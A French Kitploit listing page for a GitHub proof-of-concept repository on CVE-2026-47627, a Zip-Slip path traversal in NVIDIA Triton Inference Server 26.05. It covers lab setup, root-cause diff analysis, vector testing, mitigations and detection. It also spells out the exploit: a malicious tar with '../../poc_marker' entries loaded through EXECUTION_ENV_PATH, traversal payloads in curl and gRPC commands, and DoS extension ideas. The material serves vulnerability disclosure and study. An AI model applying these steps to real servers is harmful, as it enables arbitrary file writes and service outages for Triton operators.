Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-47627 — Preuve de concept d'exploitation pour CVE-2026-47627, une vulnérabilité de traversée de chemin dans NVIDIA Triton Inference Server permettant l'écriture arbitraire de fichiers via Zip-Slip. Inclut une analyse détaillée, un environnement de laboratoire et des scripts d'exploitation en un clic. | Kitploit
Outils/GitHubGitHub/anekazek/cve-2026-47627
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubanekazek/cve-2026-47627

cve-2026-47627

Voir le dépôt
39il y a 21 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept d'exploitation pour CVE-2026-47627, une vulnérabilité de traversée de chemin dans NVIDIA Triton Inference Server permettant l'écriture arbitraire de fichiers via Zip-Slip. Inclut une analyse détaillée, un environnement de laboratoire et des scripts d'exploitation en un clic.

Partager

CVE-2026-47627 — NVIDIA Triton Inference Server Path Traversal → DoS (Zip-Slip)

Writeup complet des résultats de recherche & PoC dans ce repo (image nvcr.io/nvidia/tritonserver:26.05-py3 / server v2.69.0). Le repo est configuré pour être toujours explicit afin que le PoC fonctionne sans redémarrage via gRPC.


Table des matières

  1. Résumé du CVE
  2. Environnement de laboratoire
  3. Anatomie de la vulnérabilité
  4. Analyse de la cause racine (Diff 26.05 → 26.06)
  5. Chemins d'exploitation : lesquels sont réellement vulnérables ?
  6. PoC principal : Zip-Slip via EXECUTION_ENV_PATH
  7. Comment exécuter le PoC (One-Click)
  8. Preuve de traversal (pas un faux 500)
  9. Impact DoS
  • Atténuations
  • Structure du repo (après nettoyage)
  • Références & chronologie

  • 1. Résumé du CVE

    ChampValeur
    CVECVE-2026-47627
    CNA[email protected]
    Publication2026-08-18 (NVD en attente d'analyse)
    BulletinNV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865
    CVSS 3.19.8 CRITIQUE AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    CWECWE-22 Path Traversal
    Affecté0.0-26.05 (server v2.69.0 / core r26.05)
    Corrigé26.06 (server v2.70.0 / core r26.06)
    ImpactDoS (description CNA) — cette recherche prouve une écriture de fichier hors de /models via Zip-Slip, qui peut être étendue à un DoS/épuisement des ressources
    CréditMartin Brodeur

    Note honnête : La description CNA ne mentionne que path traversal → DoS sans détails. Ce writeup reconstruit l'emplacement du bug via le diff r26.05..r26.06 et des tests directs dans le conteneur 26.05-py3.


    2. Environnement de laboratoire

    Image : nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)

    Compose toujours explicit (déjà patché dans ce repo) :

    root@kitploit:~
    # docker-compose.yml:12
    command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
    

    run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 sont également en explicit.

    Mode Triton :

    • NONE (défaut upstream) → chargement unique au démarrage, POST /v2/repository/models/.../load → 503, nécessite un redémarrage pour charger un nouveau modèle.
    • POLL → scanne le repo chaque seconde, chargement auto, bloque toujours le chargement explicite.
    • EXPLICIT (ce repo) → pas de scan, mais ouvre gRPC load_model / POST /load → PoC sans redémarrage via gRPC.

    Ports : | 8000 | HTTP REST | v2/health, v2/models, v2/repository | | 8001 | gRPC | RepositoryModelLoad, ModelInfer | | 8002 | Metrics | Prometheus |

    Modèles initiaux :

    root@kitploit:~
    model_repository/
    ├── echo_python/ (python backend, model.py)
    │   └── 1/model.py
    └── identity_onnx/ (onnxruntime, model.onnx ~1KB)
    

    Démarrage rapide :

    root@kitploit:~
    docker compose up -d
    docker compose logs -f
    py scripts/client_test.py  # health + infer identity_onnx
    

    3. Anatomie de la vulnérabilité

    root@kitploit:~
    User input (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► cek "child di dalam parent?" ──► buka file
             │                                    │                     │                         │                     │
             └──► "../tmp/pwn"               /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn    rfind vs find + '/' check    FileExists / extract
    
    • Si join sans canonicalize ou avec un contrôle rfind(parent,0)==0 incorrect (correspondance partielle /models vs /models_evil), alors ../ peut s'échapper.
    • DoS se produit si le fichier traversé est un FIFO, /dev/zero, /proc/self/mem, ou un tar contenant ../../ qui écrase des fichiers système → blocage / OOM / crash.

    Trois questions de recherche (du rapport initial) :

    1. Où l'utilisateur contrôle-t-il le chemin ? → model_name dans gRPC RepositoryModelLoad, EXECUTION_ENV_PATH tar entry, override file:, TRITON_BATCH_STRATEGY_PATH.
    2. Comment le chemin est-il utilisé ? → posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.
    3. Quel est l'impact ? → DoS via épuisement des ressources / blocage. Dans ce repo, une écriture de fichier vers /tmp/poc_marker est prouvée.

    4. Analyse de la cause racine (Diff 26.05 → 26.06)

    Repo core (r26.05..r26.06) :

    1. src/filesystem/api.cc:407 IsChildPathEscapingParentPath — fix dcb315d + 72f3d9b :

      root@kitploit:~
      // VULN (r26.05):
      absolute_child.rfind(absolute_parent,0) != 0
      // → bug de correspondance partielle : le préfixe "/models" de "/models_evil/file" est considéré comme interne
      
      // CORRIGÉ (r26.06):
      canonical_child.find(canonical_parent,0)==0 &&
      ((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
      // → doit avoir '/' après le préfixe, "/models_evil" est maintenant correctement externe
      

      Utilisé dans src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) et src/model_repository_manager/model_repository_manager.cc:162 (file:).

    2. src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (mars 2026, déjà dans 26.05 mais renforcé dans 26.06) :

      root@kitploit:~
      if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
      

      C'est ce qui fait que gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT dans 26.05 (déjà bloqué). Mais %2f (/ encodé) passe car ce n'est pas un / littéral → 500 poll littéral.

    3. python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 test zipslip_test.py : Le tar est extrait sans contrôle de .. / chemin absolu. L'entrée ../../poc_marker de /models/poc_exploit/malicious_env.tar.gz est extraite vers /tmp/poc_marker (hors du répertoire du modèle). Correctif dans 26.06 : utilisation de ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + contrôle IsChildPathEscapingParentPath.

    Repo server (r26.05..r26.06) : uniquement sagemaker_server.cc:1027 (contrôle RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), pas le chemin de ce CVE.

    Conclusion : Le chemin model_name via HTTP/gRPC était déjà bloqué dans 26.05 par ValidateModelName, mais le Zip-Slip tar ne l'était pas — c'est ce qui est exploité par le PoC de ce repo.


    5. Chemins d'exploitation : lesquels sont réellement vulnérables ?

    VecteurPayloadRésultat 26.05Vulnérable ?
    HTTP brut ../POST /v2/repository/models/../tmp/pwn/load404 (normalisation du routage)❌
    HTTP encodé ..%2fPOST /v2/repository/models/..%2ftmp%2fpwn/load500 littéral, poll /models/..%2ftmp%2fpwn inexistant❌ (faux 500, pas un traversal)
    gRPC brut ../tmp/pwnload_model('../tmp/pwn')400 INVALID_ARGUMENT❌ (déjà bloqué)
    gRPC encodé ..%2fload_model('..%2ftmp%2fpwn')500 poll littéral❌
    Override file: ../models_evilfile:../models_evil/pwn400/500 selon la correspondance partielle⚠️ (dépend du bug IsChildPathEscapingParentPath, mais déjà bloqué par ValidateModelName pour model_name)
    Tar EXECUTION_ENV_PATH ../../poc_markermalicious_env.tar.gz entrée ../../poc_marker200 + fichier dans /tmp/poc_marker✅ VULN

    L'analogie 500 vs 400 dans l'ancien writeup était erronée : 500 = fichier inexistant (porte absente), 400 = rejeté par validation (porte verrouillée). Aucun des deux n'entre. Seul 200 + fichier dans /tmp est une preuve.


    6. PoC principal : Zip-Slip via EXECUTION_ENV_PATH

    Idée : Le paramètre Python backend EXECUTION_ENV_PATH pointe vers $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. Lors du load_model('poc_exploit'), le backend pb_env.cc:292 extrait le tar sans assainissement. L'entrée ../../poc_marker s'échappe de .../poc_exploit/ vers /tmp/poc_marker.

    Étapes du PoC (automatisées dans scripts/exploit.py:28 & exploit.ps1:20) :

    1. Copier echo_python → poc_exploit (scripts/exploit.py:35)
    2. Ajouter config.pbtxt (scripts/exploit.py:40) :
      root@kitploit:~
      parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
      
    3. Créer le tar (scripts/exploit.py:44) :
      root@kitploit:~
      TarInfo(name='../../poc_marker', size=6, mode=0o644)  # → /tmp/poc_marker
      TarInfo(name='bin/activate', mode=0o755)
      
    4. Déclencher gRPC load_model('poc_exploit') (scripts/exploit.py:60) — sans redémarrage car explicit.
    5. Vérifier docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)

    7. Comment exécuter le PoC (One-Click)

    Prérequis : Docker, image 26.05-py3 déjà lancée avec docker compose up -d (le repo est déjà en explicit).

    Python (sans redémarrage, via gRPC) :

    root@kitploit:~
    py scripts/exploit.py              # auto-détection explicit → gRPC
    py scripts/exploit.py --keep       # conserver l'artefact pour vérification manuelle
    # vérification manuelle : docker exec tritonserver-test cat /tmp/poc_marker
    # nettoyage manuel : docker exec tritonserver-test rm -f /tmp/poc_marker
    

    PowerShell :

    root@kitploit:~
    powershell -ExecutionPolicy Bypass -File exploit.ps1
    powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
    

    Revenir à MODE_NONE (si vous voulez le défaut upstream) :

    root@kitploit:~
    # modifier docker-compose.yml:12 en supprimant --model-control-mode=explicit
    docker compose up -d --force-recreate
    

    Test de blocage (doit renvoyer 400/404/500, pas 200) :

    root@kitploit:~
    py scripts/test_http_grpc_blocked.py  # présent dans l'ancien repo, maintenant supprimé — utiliser les logs d'exploit.py
    # ou manuellement :
    curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}"  # 500
    py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')"  # 400
    

    8. Preuve de traversal (pas un faux 500)

    Vulnérable (26.05) — sortie de exploit.py :

    root@kitploit:~
    [*] Triggering exploit via gRPC load (no restart)...
    [+] gRPC load sent
    [+] VULNERABLE: /tmp/poc_marker exists outside /models
        cat: pwned
    [+] Exploit succeeded — file write outside repository confirmed
    

    Vérification :

    root@kitploit:~
    docker exec tritonserver-test ls -l /tmp/poc_marker  # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
    docker exec tritonserver-test cat /tmp/poc_marker   # pwned
    docker logs tritonserver-test --tail 20 | grep Extracting  # Extracting Python execution env .../malicious_env.tar.gz
    

    Corrigé (26.06) — attendu :

    root@kitploit:~
    [-] Not vulnerable: /tmp/poc_marker not found
    # log: Path contains '..'  (ou Path is absolute)
    

    HTTP/gRPC .. doit renvoyer 400, pas 500 :

    root@kitploit:~
    # 26.05 gRPC brut ../ → 400 INVALID_ARGUMENT (déjà bloqué par ValidateModelName)
    # 26.05 gRPC ..%2f → 500 poll littéral (contourne la validation mais pas un vrai traversal)
    # 26.06 les deux → 400
    

    9. Impact DoS

    Le CNA mentionne DoS, mais ce Zip-Slip peut faire une écrasement de fichier → DoS :

    • Écraser model.py / config.pbtxt d'un autre modèle → échec de chargement du modèle → 503
    • Tar contenant un gros bin/activate / FIFO /tmp/fifo → blocage du thread pb_env.cc → UNAVAILABLE
    • Inondation de load_model avec un tar ../../dev/zero (infini) → OOM

    Ce repo se concentre sur l'écriture de fichier comme preuve de traversal ; le DoS peut être étendu avec un tar contenant 1/model.py en boucle infinie.


    10. Atténuations

    1. Correctif : 26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.
    2. Contournement 26.05 :
      • Ne pas exposer 8000/8001 sur Internet (reverse proxy + authentification)
      • WAF bloquant .. & %2f dans les URL & EXECUTION_ENV_PATH
      • Désactiver le backend Python EXECUTION_ENV_PATH si non nécessaire
    3. Détection : docker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f"

    11. Structure du repo (après nettoyage)

    root@kitploit:~
    .
    ├── model_repository/
    │   ├── echo_python/          # exemple de backend python
    │   └── identity_onnx/        # exemple onnxruntime
    ├── scripts/
    │   ├── exploit.py:1          # PoC principal (Python, oneclick, gRPC, sans redémarrage)
    │   ├── generate_model.py     # régénère identity_onnx
    │   └── client_test.py        # test health + infer
    ├── exploit.ps1:1             # PoC principal (PowerShell, oneclick)
    ├── docker-compose.yml:12     # toujours explicit
    ├── run_triton.bat:10 / .ps1:11 / .sh:12  # toujours explicit
    ├── requirements.txt          # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
    └── README.md                 # ce writeup
    

    Supprimés : exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.


    12. Références & chronologie

    • Bulletin NV 5865 : https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)
    • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (en attente d'analyse)
    • Commits de correctif core r26.06 : dcb315d (Modernize Child Path), 72f3d9b (test child path), e520f8c7 (test zipslip), 50830ba/66f09f8 (ValidateModelName)
    • Correctif server r26.06 : v2.70.0 (690f9dd)
    • Crédit : Martin Brodeur
    DateÉvénement
    2026-03-03core#472 ValidateModelName
    2026-03-16core#481 trim POSIX
    2026-05-18core#497 IsChildPathEscapingParentPath
    2026-06-02server#8857 test zipslip
    2026-06-2626.06 / v2.70.0 publication du correctif
    2026-08-18Publication du CVE
    2026-09-02Repo PoC de ce projet vérifié sur 26.05-py3 → VULNERABLE

    Notes

    Ce PoC est destiné à l'éducation & un laboratoire fermé. N'exposez pas 8000/8001 sans authentification. Toujours utiliser exploit.py --keep puis docker exec tritonserver-test rm -f /tmp/poc_marker & Remove-Item -Recurse model_repository/poc_exploit après la démonstration.

    Télécharger l’outil